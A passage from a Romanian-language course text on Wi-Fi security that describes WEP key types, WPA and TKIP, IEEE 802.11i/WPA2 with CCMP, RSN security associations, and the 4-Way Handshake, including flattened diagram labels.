-cheia individuala (en. “key mapping key”) va fi utilizata cu prioritate pentru


criptarea/decriptarea pachetelor MPDU transferate intre acei corespondenti. Exista o tabela de
chei indexata dupa adresa MAC a corespondentului, in caz ca nu este gasita o cheie individuala
asociata, va folosi cheia implicita (de aici si numele “default key”).

65
Cheia implicita (en. “default key”)
-in cazul unor retele de acces cu utilizatori care au proprietatea de apartenenta la un grup inchis
de dimensiune redusa (ex. retele de tip SOHO);
-standardul 802.11 specifica posibilitatea de a avea patru chei configurate simultan, pentru a
facilita procedura de schimbare a acestui tip de cheie fara intreruperea serviciului transfer, asa
cum este descris mai jos;
-receptorul va putea determina cheia corecta cu care a fost criptat fiecare MPDU, prin citirea
campului Key ID din acelasi cadru MPDU criptat;

Cheia individuala (en. “key mapping key”)


- este potrivita in retele de acces de dimenisune mai mare pentru ca permite asigurarea unui
nivel de securitate mai ridicat si realizarea unor proceduri de schimb de chei mai eficiente.
-nu este potrivita cu principiul retelelor de tip LAN de a furniza un serviciu pentru difuzarea
datelor. O solutie, ar fi sa se configureze si o cheie de tip implicit pe toate entitatile STA si pe
AP.
- dezavataje: administrare costisitoare in retele relativ mari (multe AP-uri), putere de calcul si
memorare mai mare;

In concluzie, metodele propuse de standard si de producatori pentru managementul secventei


cheii, respectiv a cheii secrete partajate sunt vulnerabile si nu sunt extensibile. Acesta a fost
principalul motiv care a determinat tranzitia precipitata catre o varianta nefinalizata a
standardului 802.11i, cunoscuta cu numele WPA (WiFi Protected Access).

5.2.2 Solutia interimara WPA


-la presiunea utilizatorilor WLAN, organizatia “WiFi Alliance” a adoptat o varianta
intermediara a standardului 802.11i, cu denumirea WPA (WiFi Protected Access);
-o cerinta: WPA trebuia sa faciliteze si tranzitia echipamentelor aflate deja in operare, si in
acest sens, WPA trebuia sa fie compatibil cu h/w-ul acestor echipamente necesitand cel mult
un upgrade s/w;
-obiectivul principal de a furniza servicii cu nivel de securitate mai ridicat decat cele bazate pe
algoritmul WEP. In tabela de mai jos, sunt sumarizate avantajele tehnologiei WPA fata de
tehnologiile specificate in standardul de baza.

Componenta WEP WPA


Criptare algoritm vulnerabil, compromis Elimina vulnerabilitatile WEP
lungimea cheii: 40 biti lungimea cheii: 128 biti
cheia este utilizata de toate cheia este utilizata per STA, per
entitatile STA sesiune, per pachet
Distribuire manuala si derivare a distribuire automata a cheilor
cheii de lucru temporare
Autentificare/Integritate CRC32 criptat; vulnerabil MIC (Michael)
pachete
Autentificare entitati procedura vulnerabila; utilizeaza Procedura de autentificare cu
cheia WEP si pentru nivel ridicat de securitate, pe
autentificare si pentru garantarea baza 802.1x si EAP
confidentialitatii
Comparatie intre WEP si WPA
-spre deosebire de WEP, WPA utilizeaza mai multe chei (o ierarhie): o cheie master
prepartajata, o cheie temporara unica pe sesiune si o cheie temporara unica pe pachet. Pentru a
oferi un nivel de securitate mai ridicat acestor servicii, TKIP opereaza cu chei mai mari (128
de biti), iar cheile utilizate au caracter temporar fiind reactualizate dinamic.

66
-arhitectura de securitate WPA bazata pe modelul 802.1x ii asigura o flexibilitate, scalabilitate
si un nivel de securitate mai ridicat decat WEP;
-de asemenea, WPA aplica metode pentru managementul de chei (generare chei temporare,
distribuire si reactualizare) si de negociere a unor SA, similare celor originale definite in
standardul 802.11i.

Au fost definite doua moduri WPA de operare:


 Modul WPA-Personal: utilizat in retele mici de tip SOHO, in care autentificarea se face
direct intre STA si AP. Caracteristica principala este usurinta de configurare; deci, nu
necesita personal calificat pentru administrare. Protocolul de autentificare implicit este
WPA-PSK;
 Modul WPA-Enterprise: utilizat in retele mari (cu sute de utilizatori) are la baza modelul
802.1x in care serverul de autentificare este instalat pe o entitate separata de entitatea AP.
Caracteristica principala este utilizarea unui server pentru centralizarea operatilor de
configurare a servicilor de autentificare si control al accesului.

Protocolul TKIP(Temporal Key Integrity Protocol)


- a fost special proiectat pentru a rezolva problemele de securitate ale algoritmului WEP si
pentru a fi compatibil cu resursele h/w ale echipamentelor aflate in operare pre-RSN;
-totusi, mecanismele TKIP au un nivel de securitate mai redus decat cele implementate de
protocolul CCMP, specificat in varianta finala a standardului 802.11i;
-algoritmul TKIP modifica WEP astfel: formatul MSDU este extins cu un camp MIC (Message
Integriy Code), iar algoritmul de calcul al valorii MIC (64biti) este Michael pentru garantare a
integritatii cu nivel de securitate mai ridicat decat WEP (este considerata vulnerabilitatea cea
mai critica pentru WEP);
-valoarea MIC calculata furnizeaza un nivel inca scazut de protectie fata de atacurile prin
falsificare a mesajelor, dar este cea mai buna solutie pentru h/w-ul echipamentelor pre-RSN.
TKIP protejeaza campul MIC prin criptare cu algoritmul WEP, alaturi de corpul MPDU, ceea
ce face mai dificil atacul prin falsificarea mesajelor;
-algoritmul TKIP genereaza cheile temporare de criptare prin derivare cu o primitiva
criptografica, dintr-o cheie master pre-partajata si o valoare contor (TSC). In formatul MPDU
campul IV este extins la 48b(include TSC). In acest mod, TKIP incearca sa previna reutilizarea
per pachet a unor chei criptografice;
La transmisia unui pachet MSDU, mai intai, este calculata valoarea MIC peste urmatoarele
campuri: adresa sursa, adresa destinatie, prioritatea MSDU si corpul pachetului MSDU,
utilizand o cheie secreta. TKIP utilizeaza pentru MIC chei diferite in functie de sensul de
transfer al informatiei. Valoarea MIC obtinuta este completata in campul omonim din MSDU.
In continuare, MSDU poate fi fragmentat in unul sau mai multe cadre MPDU pentru care se
calculeaza valoarea ICV in mod independent (cu alg CRC32).
TKIP utilizeaza pentru protectie fata de atacurile prin repetitie un numarator monoton
crescator TSC, per MPDU; pe baza TSC, receptorul va putea elimina pachetele MPDU aflate
in afara secventei asteptate. Astfel, cu ajutorul acestui numarator este completat campul TSC
pentru fiecare MPDU, fiecare avand o valoare TSC unica. Entitatea sursa si destinatie trebuie
sa aiba cate un singur numarator TSC per SA (i.e. PTKSA, GTKSA si STAKeySA), dar si per
nivel de prioritate.

67
MSDU for
Transmission

64b Michael
64b Compute MIC Append MIC
block

Fragmentation
MIC Key

Key
Master key derivation
block

Encryption Key
128b
IV Generation Append IV / ICV

Key mixing Add MAC Hdr.


WEP
block
Encrypt
“WEP seed”

MPDU for
Transmission
Figure 5-13: Procesarea TKIP a unui pachet la transmisie

Pentru calculul radacinii PRNG (“WEP seed”), necesare in generarea secventei cheii per cadru,
TKIP aplica o functie de mixare, selectata astfel incat sa fie rezistenta la atacurile de tip cheie
slaba asupra cheii (de la WEP). Functia de mixare se realizeaza in doua faze, si este functie de
cheia temporara de grup/pereche (TK), adresa sursei (SA) si TSC.
In continuare, TKIP va cripta toate fragmentele MPDU generate din acelasi MSDU cu aceasi
secventa de cheie temporara.
La receptia unui MPDU, este calculata radacina PRNG (“WEP seed”) pentru a se putea realiza
decriptarea acestuia, folosind aceasi functie de mixare aplicata asupra cheii temporare (TK),
TSC si SA.
Dupa decriptarea unui MPDU, este validata valoarea ICV, apoi are loc defragmentarea MSDU
si validarea campului MIC. Daca TSC sau ICV nu sunt valide, atunci pachetul MPDU este
eliminat, fara alta procesare.
Actualizarea numaratorului TSC nu se realizeaza decat dupa ce pachetul MSDU receptionat,
trece de testul de validare MIC. Aceasta metoda este mai robusta fata de atacul de tip DoS prin
modificarea campurilor TSC (considerat vulnerabil).
Daca validarea MIC esueaza, nivelul MAC va elimina acel MSDU si va aplica un set de
contramasuri procedurale (prezentate mai jos), pentru a limita probabilitatea de succes a unui
atac prin falsificarea informatiei si pentru a limita volumul de informatii pe care un atacator le
poate obtine despre cheia secreta. Daca MIC este valid, pachetul MSDU este transferat la
nivelul superior.

68
MSDU
Accepted
Michael block
Reject if
Remove & bad MIC,
Compute MIC Check MIC Invoke
counter-
measures
Re-assembly
MIC Key

Key
Master key derivation
block

Encryption Key
RC4 block
Reject if
Decrypt bad ICV

Key mixing
TSC block
Reject if
IV Extraction Check TSC Window bad TSC

Strip MAC Hdr.

Received
MPDU
Figure 5-14: Procesarea TKIP a unui pachet la receptie

Autentificarea entitatilor si controlul accesului


-se realizeaza in conformitate cu standardul 802.1x; mesajele sunt transportate de EAP
(nerutabil);
-o cerinta WPA este ca protocoalele de autentificare sa fie mutuale;

-pentru modul WPA-Personal, protcolul de autentificare implicit WPA-PSK are loc intre STA-
AP. Nu se pot utiliza decat protocoalele de autentificare pentru care producatorul AP ofera
suport;
-pentru modul de operare WPA-Enterprise autentificarea are loc in doua faze, astfel:
 STA-AS: metoda/protocolul recomandat este EAP-TLS. Alte metode de autentificare
care pot fi utilizate (suportate de FreeRADIUS): EAP-TTLS (TLS Tunelat ), EAP-
LEAP, EAP-PEAP, EAP-PSK, EAP-IKEv2, EAP-SIM, s.a.
 STA-AP: protocolul “4-way Handshake” (prezentat in sectiunea urmatoare) intre STA
si AP pentru autentificare mutuala locala, confirmarea si instalarea cheii de sesiune
distribuita prin protocolul mentionat la punctul anterior

-diagrama de mesaje EAP ilustrata in figura de mai jos este comuna tuturor
metodelor/protocoalelor de autentificare utilizate in modul WPA-Enterprise;

69
Supplicant Authenticator Authentication Server

EAP-Start
EAP-ID Req.

EAP-ID Rsp.
EAP-ID Rsp.
EAP-Req. 1
EAP-Req. 1

EAP-Rsp. 1
EAP-Rsp. 1

EAP-Req. n
EAP-Req. n

EAP-Rsp. n
EAP-Rsp. n

EAP-Succes/Fail

EAP-Succes/Fail
Figure 5-15: Protocolul de autentificare EAP in modul WPA-Enterprise

-daca STA este autentificat atunci acesta va fi asociat la AP si astfel autorizat sa acceseze
serviciile retelei;

Managementul cheilor
- WPA stabileste dinamic o ierarhie de chei;
-in modul WPA-Enterprise, la completarea procedurii de autentificare serverul de autentificare,
genereaza si distribuie catre entitatea STA si autentificator, cheia master PMK;
-in continuare AP si STA construiesc o ierarhie de chei temporare PTK (unicast) sau GTK (ptr.
difuzare), din care apoi prin aplicarea TKIP(in ambele moduri) vor fi generate dinamic chei
unice de criptare per pachet;
-WPA defineste un interval de timp pentru reactualizarea periodica a cheilor temporare. In
acest mod cheia PTK/GTK este reactualizata direct intre AP si STA pe baza protocolului de
(re)autentificare (ex. 4WH);
-singura cheie care trebuie configurata manual este cheia secreta prepartajata, celelalte chei
temporare vor fi derivate din aceasta. Cheia prepartajata se configureaza pe STA si pe serverul
de autentificare (in modul WPA-Enterprise) sau pe autentificator (in modul WPA-Personal).

5.2.3 Amendamentul IEEE 802.11i (WPA2)


-finalizat in 2004; in 2007 amendamentul a fost integrat in standardul de baza 802.11;
-in terminologia “Wi-Fi Alliance” se numeste WPA2;
-RSN (Robust Security Network): o retea in care toate entitatile retelei opereaza in exclusivitate
in baza acestui amendament;
-TSN (Transitional Security Network), o retea care permite operarea simultana a unor entitati
RSN si pre-RSN;

70
-obiectivele: servicii de securitate extensibile si flexibile in operare, care sa asigure un nivel de
securitate ridicat, pentru prevenirea atacurilor din standardul de baza;

Caracteristici
-specifica algoritmul de criptare si integritate a datelor: CCMP (AES in CTR mode with CBC-
MAC Protocol) si optional TKIP;
NOTA: implementarea acestor mecanisme pe sistemele pre-RSN aflate in operare pune probleme de fezabilitate;
-ofera suport pentru autentificarea mutuala a entitatilor pe baza protocoalelor existente, atat in
modul de operare ESS cat si in modul IBSS;
-cele doua proceduri de autentificare specificate sunt: 802.1x pentru retele de dimensiune mare
si PSK, pentru retele SOHO;
-suporta mobilitatea (i.e. fast handover) prin procedura de pre-autentificare a entitatilor STA;
-managementul ierarhizat al cheilor secrete, si pentru distribuirea si reactualizarea cheilor
criptografice cu confirmare. De regula, din motive securitate si eficienta acest serviciu este
integrat impreuna cu serviciul pentru autentificarea entitatilor;

8.2.2.1. Protocolul CCMP (CTR mode with CBC-MAC mode protocol)


-obiective: servicii integrate (pe baza aceleiasi chei) de confidentialitate (payload), integritate
si autentificare (payload+campurilor nemutabile din antet), protectie anti-repetitie pentru
pachetele transferate pe legatura radio; separarea functilor criptografice aplicate asupra a doua
pachete consecutive (prin variabile temporare aleatoare - nonce);
-CCMP utilizeaza algoritmul AES [FIPS PUB 197] in modul de operare CCM [RFC 3610],
special proiectat pentru reteaua 802.11i; CCM este un mod de operare AEAD care combina
modul CTR pentru realizarea confidentialitatii, cu modul CBC-MAC pentru autentificare si
integritate (calculul codului MIC(64b)).
-taria CCMP/AES > taria TKIP, insa necesita un coprocesor (adica upgrade h/w);
Functionarea CCMP este ilustrata in schema bloc de mai jos.
-PN(48b) este un contor pt. prevenirea atacurilor prin repetitie; distinct pt. fiecare tip de SA
(PTKSA, GTKSA si STAKeySA) si nivel de prioritate a MSDU 802.11; similar, si receptorul
trebuie sa mentina aceasi valoare a PN, care se initializeaza la stabilirea/restabilirea cheii
temporare;

Mai intai CCMP extinde MPDU original cu un antet CCMP(64b) care nu va fi criptat si care
contine: campul PN (inlocuieste IV), campul ExtIV (face distinctie de un MPDU de tip WEP)
si identificatorul cheii KeyID.
Urmatorul pas al protocolului consta in calculul codului de autentificare MIC. MIC este
calculat prin aplicarea algoritmului AES in modul CBC-MAC, pentru care primul bloc este
determinat prin concatenarea a trei campuri: flag (constanta, indica MIC pe 64 biti), nonce
(=MPDU priority || source addr || PN) si “Data length” (lungimea payloadului MPDU). De
asemenea, pentru a satisface cerintele modului de operare CBC-MAC este necesara adaugarea
la MPDU a mai multor octeti de umplutura, dar care insa nu vor fi transmisi. Apoi, valoarea
MIC obtinuta prin criptarea MPDU cu cheia temporara curenta este atasat la sfarsitul MPDU.
In pasul urmator se va realiza criptarea cu AES in modul de operare CTR a campurilor corp
si MIC ale MPDU curent. Ca si in calculul MIC, trebuie ca inainte sa fie initializat contorul
astfel incat sa se evite repetarea acestei valori. In mod analog, vor fi concatenate valorile
campurilor: flag, prioritate MPDU, adresa sursa MPDU, PN si constanta 1.

71
Packet Number
(PN)

Start value of counter


st
1 block Counter
CBC-MAC
Source
address Data
length Compute Encrypt
MIC 64b MPDU
Plaintext MPDU & with Encrypted MPDU
add to AES/CTR
MPDU mode

128b
Temporal
key
Figure 5-16: Protocolul CCMP pentru criptarea/decriptarea MPDU

La receptia MPDU, mai intai este validata valoarea PN extrasa din antetul CCMP pentru a
elimina pachetele MPDU repetate (acel pachet pentru care valoarea PN este mai mica sau egala
cu a pachetului anterior). Daca PN este valid, se va determina valoarea initiala a contorului
(aceasi ca la transmitator). In continuare, se determina cheia de decriptare cu ajutorul adresei
MAC sursa. Se decripteaza MPDU folosind protocolul CCMP care opereaza la fel ca la
criptare, si se obtin campurile corp MPDU in format text-clar si campul MIC. Urmatorul pas,
consta in validarea codului MIC transferat in MPDU. Daca MPDU este declarat integru se va
reconstrui MPDU original prin concatenarea campurilor corp si antet MAC; altfel, pachetul
MPDU este eliminat pasiv (fara notificare).

8.2.2.2. Asocieri de securitate RSN (RSN SA)


Standardul 802.11i defineste 4 tipuri de asocieri de securitate:
 PMKSA (Pairwise Master Key SA): este un SA bidirectional partajat intre suplicant si
autentificator, utilizat pentru a crea PTKSA. PMKSA este stabilit prin una dintre
urmatoarele metode: protocolul de autentificare 802.1x, prepartajarea manuala (a PSK),
sau alte protocoale specializate.
Parametrii PMKSA: identificatorul PMKID, adresa MAC a autentificatorului, cheia PMK,
durata de viata, protocolul de autentificare si management de chei, parametrii de autorizare
specificati de AS sau configurati prin politica locala;
 PTKSA (Pairwise Transient Key SA): este un SA bidirectional partajat intre suplicant si
autentificator, utilizat pentru a crea ierarhia de chei de criptare. PTKSA este stabilit prin
procedura “4-Way Handshake” si memorat cel mult pe durata de viata a PMKSA. La un
moment dat exista un singur PTKSA intre o pereche de adrese MAC suplicant - MAC
autentificator. Parametrii PTKSA: cheia PTK, selector al algoritmului de criptare, adresa
MAC a suplicantului, adresa MAC a autentificatorului;
 GTKSA (Group Transient Key SA): este un SA unidirectional, care:
o in cazul ESS, este unic stabilit de AP, si utilizat exclusiv pentru criptarea traficului
in difuzare;
o in cazul IBSS, fiecare STA defineste propriul GTKSA si este utilizat pentru
criptarea traficului de difuzare transmis de acel STA

72
GTKSA este stabilit prin procedura “Group Key Handshake” sau “4-Way Handshake”, la
initiativa entitatii suplicant sau a entitatii autentificator, odata cu transferul cheii GTK catre
toate statiile STA (cu care are deja un PTKSA stabilit).
Un GTKSA cuprinde urmatoarele elemente: directie (specifica utilizarea sa pentru
transmisie sau pentru receptie), selector protocol/suita algoritmi de criptare de grup, cheia
GTK, adresa MAC autentificator, si parametrii de autorizare specificati de politica de
securitate locala;
 STAKeySA (STA Key SA): este un SA unidirectional, pentru securizarea comunicatiilor
de la STA initiator la STA corespondent. Este stabilit prin intermediul procedurii “STAKey
Handshake”. STAKeySA este unic pentru o pereche initiator – corespondent STA. Un
STAKeySA cuprinde elementele: cheia STAKey, selectorul protocol/suita algoritmi de
criptare, adresa MAC initiator, adresa MAC corespondent

Stabilirea unei asocieri RSN (RSNA)


-in modul 802.1x se pp. corespondentii sunt asociati 802.11, ca in figura;
STA AP

IEEE 802.11 Probe Request


IEEE 802.11 Probe Response (Security Parameters)

IEEE 802.11 Open System Authentication Request


IEEE 802.11 Open System Authentication Response

IEEE 802.11 Association Request (Security Parameters)


IEEE 802.11 Association Response

IEEE 802.11 IEEE 802.11


Controlled Port Controlled Port
Unblocked Unblocked
Figure 5-17: Procedura de asociere IEEE 802.11(1997)

-o entitate AP/STA notifica suportul pt. RSNA prin campul RSN_IE din cadrele de tip
“Beacon” sau “Probe Response”.
-pt. a obtine politica corepondentului poate fi trimis un mesaj “Probe Request”. De-a lungul
procedurii de asociere 802.11 poate avea loc si negocierea politicilor de securitate RSN dintre
entitati. Daca nici una dintre capabilitatile anuntate de corespondent nu este suportata atunci
tentativa de asociere este abandonata;
-de regula, daca procedura pentru stabilirea RSNA esueaza, se poate incerca din nou de un
numar predefinit de ori;

Stabilirea unui RSNA in modul de operare ESS


-dupa asocierea 802.11 (pasul 2), autentificatorul/suplicantul va initia procedura de
autentificare mutuala conform protocolului 802.1x sau PSK (pasul 3). Cheia PMK (derivata
din MSK/MK) este distribuita de la AS catre STA si AP (pasul 3, a); exceptie in cazul
autentificarii PSK;
-se aplica procedura “4-Way Handshake” pentru autentificarea mutuala dintre AP/STA si STA,
confirmarea cheilor si stabilirea asocierilor de securitate (pasul 7, respectiv 3);
-la terminarea procedurii “4-Way Handshake” cele doua entitati au stabilita o asociere RSNA;
73
-apoi, poate incepe transferul securizat al datelor utilizator (pasul 8, respectiv 4);
-pentru reactualizarea cheii de grup este aplicata procedura “Group Key Handshake” (pasul 9,
respectiv 5);
-pt. a reduce latenta de asociere RSNA entitatile pot mem. in cache PMKSA, pt. ca ulterior sa
poata aplica direct procedura 4WH (pasul 7, respectiv pasul 3);
Stabilirea unui RSNA in modul de operare IBSS
-in esenta asocierea RSNA se desfasoara conform diagramelor MSC de mai sus;
-o entitate STA poate initia procedura de asociere RSNA cu un alt STA, daca: primeste un
cadru “Beacon”, “Probe Response” sau de date de la un MAC cu care nu a realizat inca
procedura “4-Way Handshake”; daca primeste primul mesaj al procedurii “4-Way Handshake”
ca urmare a transmisiei anterioare a unui mesaj in difuzare “Beacon”, “Probe Request”;
-orice pereche de entitati STA poate negocia si utiliza oricare suita de criptare per pereche
dintre cele suportate de ambele entitati, insa toate entitatile STA corespondente trebuie sa
utilizeze o singura suita de criptare per grup (complexitate mare);
-doua entitati STA mai pot stabili suitele de criptare per pereche utilizand procedura “4-Way
Handshake” (pasul 7 din figura (a) sau pasul 3 figura (b));
-procedura de autentificare trebuie insa aplicata de doua ori (adica initiata pentru ambele
sensuri de transfer);

Terminarea unei asocieri RSNA


-cand modulul autentificator/suplicant receptioneaza o cerere sau invoca o primitiva de
deasociere, reasociere, autentificare sau deautentificare, sau cand determina ca este in afara
zonei radio a corespondentului, va sterge o parte din elementele RSNA:
 in cazul ESS, un STA (non-AP) va sterge PTKSA si GTKSA, iar AP va sterge numai
PTKSA;
 in cazul IBSS, va sterge PTKSA si GTKSA utilizate pentru decriptare

-daca un STA pierde starea de sincronizare a cheii temporare se va reasocia, cu scopul de a


restabili o noua asociere RSNA, prin executarea procedurilor de deautentificare si apoi de
autentificare (descrise in sectiunile urmatoare);
-daca procedura de reautentificare esueaza intre STA si AP care sunt deja asociate, atunci
ambele vor solicita executarea procedurii de deautentificare;
-cand un STA paraseste grupul asociat la AP, ar trebui sa notifice entitatea AP printr-un mesaj
de deasociere. Ca urmare AP poate sa stearga asocierea PMKSA aferenta si sa opreasca
transmiterea de date catre acel STA;

Autentificarea entitatilor. Alte proceduri specifice


-obiectiv: autentificarea mutuala a STA si a retelei (reprezentata prin AS si autentificator);
-standardul RSN specifica metoda de autentificare 802.1x si metoda PSK, atat ptr modul ESS
cat si ptr modul IBSS;
-procedura de autentificare “Open System” este utilizata (in procedura de asociere 802.11) atat
in modul ESS cat si, optional, in modul IBSS. Aplicarea metodei “Shared Key” in reteaua RSN
este exclusa;
-procedurile se realizeaza pe baza cheilor prepartajate: MK si respectiv PSK;

Modul de operare WPA-Enterprise/802.1x


-protocolul EAP in faza “EAP Authentication Protocol Exchange” are rol de transportor al
mesajelor protocolului de autentificare mutuala intre STA si AS;
74
-cerintele de securitate pentru comunicatia dintre autentificator si AS sunt: autentificarea
mutuala autentificator-AS, transportul securizat(confidentialitate, integritate, autentificare) al
cheii generate de la AS la autentificator (ex: RADIUS [RFC2865], Diameter [RFC 3588]);

Supplicant Authenticator AS
802.1X EAP Start

802.1X EAP Request/Identity

802.1X EAP Response/Identity


Access Request (EAP Response/Identity)
EAP Authentication Protocol Exchange

802.1X EAP Success Access Response(EAP Success,


PMK)
IEEE 802.1X
Controlled Port
unblocked for STA
Figure 5-18: Procedura de autentificare IEEE 802.1x

-daca AP va putea demonstra lui STA ca stie cheia PMK, atunci STA stie ca acest AP este
considerat de incredere de AS, si deci este autentic. Pentru autentificarea mutuala suplicant-
autentificator este aplicata procedura “4-Way Handshake”;

-in modul IBSS, fiecare entitate STA trebuie sa integreze atat modulul suplicant, cat si modulul
autentificator si, eventual, un AS Procedura de autentificare va fi initiata independent de fiecare
entitate STA;
-din cauza ca nu exista un mecanism de negociere de politici de grup, protocolul de
autentificare trebuie configurat static pe fiecare entitate (sau este negociat per pereche);

Modul de operare WPA-Personal/WPA-PSK


-autentificarea mutuala dintre suplicant si autentificator si stabilirea cu confirmare a cheilor
temporare PTK si GTK, folosind direct procedura “4-Way Handshake” in care se utilizeaza
cheia PSK in rolul cheii PMK.
-teoretic, cheia PSK poate fi diferita pentru fiecare pereche de entitati STA-AP sau poate fi
aceasi;
-in modul IBSS protocolul “4-Way Hanshake” este initiat pt. ambele sensuri de transfer;

Alte servicii de securitate

Procedura de reautentificare consta in realizarea procedurii de autentificare “4-way


Handshake” in conditiile in care exista deja un context de securitate stabilit dinamic (ex.
entitatile sunt asociate).
-tipic, la expirarea unui temporizator avand ca obiectiv principal reactualizarea cheilor
temporare;
-standardul 802.11i presupune ca portul controlabil 802.1x nu se blocheaza pe durata
reautentificarii. RSNA existent va proteja toate pachetele MSDU transferate intre entitati pana
la terminarea procedurii de reautentificare;

75
-daca entitatile nu se pot reautentifica, autentificatorul va transmite un mesaj de deautentificare
catre suplicant;

Procedura de preautentificare consta in realizarea procedurii de autentificare complete


802.1x intre suplicant si AP tinta direct sau prin intermediul AP curent la care este asociat
suplicantul. Standardul precizeaza ca un STA poate initia procedura de preautentificare,
indiferent daca este sau nu in domeniul radio al AP tinta;

-obiectivul: stabilirea a priori a unei asocieri PMKSA intre STA si AP tinta (mem. in cache),
pt. a reduce intarzierea la transferul STA intre doua entitati AP;
-un autentificator poate anunta aceasta capabilitate prin campul RSN_IE;
-daca un autentificator (care suporta preautentificarea) primeste un mesaj “EAPOL-Start” via
reteaua fixa, poate sa initieze procedura de autentificare 802.1x catre entitatea STA
corespondenta via acea retea fixa;

Ulterior cand STA vrea sa se asocieze cu AP tinta, va putea utiliza acel PMKSA pentru a lansa
direct procedura “4-Way Handshake”. In acest caz, va include identificatorul PMKID
corespunzator in cererea de (re)asociere.
Daca si AP tinta a mai pastrat acel PMKSA, va arata ca cunoaste acel PMK, prin lansarea
imediata a procedurii “4-Way Handshake”. Daca suplicantul si autentificatorul se
desincronizeaza cu privire la PMKSA, atunci procedura “4-Way Handshake” se va termina
intr-o stare de eroare si prin urmare ambii corespondenti vor sterge asocierea PMKSA
memorata asociata cu identificatorul PMKID.

-este posibil ca AP tinta sa piarda un PMKSA pre-stabilit din cauza: eroare de sistem
(rebootare), lipsa de resurse sau expirare cache;

Nota: in acesi idee, un STA/AP poate memora si un PMKSA stabilit in urma unor asocieri
anterioare la acelasi autentificator;

Procedura de deautentificare poate fi initiata si realizata independent de oricare dintre


corespondenti atunci cand starea de autentificare trebuie terminata.
Mesajul de deautentificare transmis catre corespondent nu este o solicitare ci o notificare.
Odata ce o entitate a transmis/receptionat mesajul de deautentificare, starea de asociere dintre
acesti corespondenti va fi terminata (ex. include stergerea PTKSA, GTKSA), iar portul
controlabil 802.1x va fi blocat. Daca functia de memorare cache a PMK nu este activa, de
asemenea se sterge PMKSA din care a fost derivat PTKSA.

Obs: standardul 802.11w propune mecanisme pentru protejarea mesajelor de management WLAN;

8.2.2.3. Protocolul “4-Way Handshake”


-initiat de autentificator, pentru a realiza urmatoarele obiective:
- autentificarea mutuala autentificator-suplicant;
- negocierea cu confirmare a algoritmilor criptografici per pereche;
- confirma ca PMK este in posesia corespondentului la un moment de timp;
- calculul unei noi chei PTK prin derivare din PMK cu garantii ca este recenta4;
- transportul cheii GTK si a numarului de secventa, asociat cheii GTK, de la
autentificator la suplicant;

4
en. fresh

76
- sincronizeaza instalarea cheilor de criptare si de integritate pe entitatile
corespondente

-autentificatorul transmite mesajul (1) catre suplicant la indeplinirea urmatoarelor conditii: la


sfarsitul procedurii de autentificare cu serverul (802.1x); s-a negociat utilizarea procedurii de
autentificare WPA-PSK; cand exista deja un PMKSA memorat in cache(ex. preautentificare);
cand una dintre entitati solicita reactualizarea cheii de sesiune; toate mesajele sunt trimise in
unicast;

Prin mesajul (1) este transferata valoarea ANonce (256 biti) catre suplicant, valoarea unui
contor “Key Replay Counter”, si se initializeaza negocierea unui nou PTK. Mesajul (1) este
unicast, identifica STA corespondent prin adresa sa MAC (SPA). La primirea acestui mesaj,
suplicantul genereaza o noua valoare SNonce si deriveaza o noua cheie PTK.
Daca un atacator reuseste sa modifice adresa MAC sau valoarea ANonce, autentificatorul va
detecta acest lucru in momentul validarii MIC din mesajul (2) (mesajul (1) nu este securizat).
Cand autentificatorul receptioneaza mesajul (2), verifica daca valoarea contorului “Key Reply
Counter” corespunde cu cea din mesajul (1); in caz contrar mesajul este eliminat.
Apoi, autentificatorul verifica valoarea MIC a mesajului; daca MIC nu corespunde, mesajul
este eliminat pasiv. Daca MIC este valid, se verifica, in continuare, daca elementul de
informatie RSN IE corespunde cu cel din cererea de (re)asociere, daca nu sunt la fel atunci
autentificatorul va termina asocierea, altfel construieste mesajul (3) pe care il cripteaza apoi cu
cheia KEK (determinata de PTK).
Prin mesajul (2) este transferata valoarea SNonce catre autentificator care o va utiliza pentru a
deriva cheia PTK (impreuna cu ANonce). Cheia PTK ofera protectie fata de atacul MITM
pentru ca PTK include prin constructie adresele entitatilor corespondente.
Autentificatorul nu instaleaza cheile pana cand nu primeste ultimul mesaj (4). Daca mesajul
(3) nu ajunge la suplicant atunci este retransmis (daca cheile ar fi fost instalate atunci acest
mesaj ar fi ajuns criptat si ar fi fost eliminat).
La receptia mesajului (3) suplicantul verifica valoarea contorului “Key Replay Counter” si
valoarea ANonce, sunt cele din mesajul (1), in cazul in care cel putin una dintre verificari
esueaza, mesajul este eliminat pasiv. De asemenea, suplicantul verifica daca elementul de
informatie RSN IE este identic cu cel receptionat anterior printr-un cadru “Beacon” sau “Probe
Response”. In continuare, suplicantul verifica valoarea MIC, pentru a obtine o dovada ca
autentificatorul cunoaste cheia secreta PMK; daca nu este valida, suplicantul elimina pasiv
mesajul (3); altfel, actualizeaza contorul “Key Replay Counter” si transmite mesajul (4) catre
autentificator, dupa care suplicantul instaleaza si configureaza nivelul MAC sa transmita si sa
receptioneze pachete MPDU unicast protejate cu PTK. Tot acum suplicantul instaleaza si
configureaza cheia GTK transferata si ea prin mesajul (3).
Daca SNonce a fost ales aleator, atunci acest mesaj (3) demonstreaza ca PTK este recent si ca
autentificatorul este activ.
La receptia mesajului (4), autentificatorul verifica daca valoarea contorului “Key Replay
Counter” este cea transmisa anterior in aceasta procedura; daca nu atunci elimina pasiv; altfel,
valideaza MIC (calculat cu PTK curent), si in caz de esec elimina pasiv mesajul. Daca MIC
este valid, autentificatorul instaleaza si configureaza PTK la subnivelul MAC, si apoi
actualizeaza contorul “Key Replay Counter”.
Mesajul (4) nu are un scop criptografic in sine; este o confirmare pentru mesajul (3) si o
notificare a autentificatorului asupra momentului de instalare a cheilor PTK si GTK, si deci
a momentului din care poate sa inceapa sa (de)cripteze cadrele MPDU. Aceasta sincronizare
este necesara din cauza ca daca unul dintre corespondenti incepe procesul de criptare MPDU
inainte ca celalalt corespondent sa fie gata, atunci comunicatia este intrerupta.

77
Supplicant Authenticator

Key (PMK) is Key (PMK) is


Known Generate Known Generate
SNonce ANonce
Message 1: EAPOL-Key (ANonce)

Derive PTK
Message 2: EAPOL-Key (SNonce, MIC)

Derive PTK
If needed
Generate
GTK
Message 3: EAPOL-Key (MIC, E(KEK, GTK))
Message 4: EAPOL-Key (MIC)

Install PTK Install PTK


and GTK IEEE 802.1X and GTK
Controlled Port
Unblocked

Figure 5-19: Procedura “4-Way Handshake”

Obs: prin alegerea aleatoare a valorii ANonce se ofera garantii autentificatorului ca PTK este
recent si implicit se garanteaza ca mesajul (2) si mesajul (4) sunt recente. Prin alegerea
aleatoare a SNonce se ofera garantii suplicantului ca PTK este recent si implicit se garanteaza
ca mesajul (3) este recent. Procedura combina ANonce cu SNonce in constructia cheii PTK,
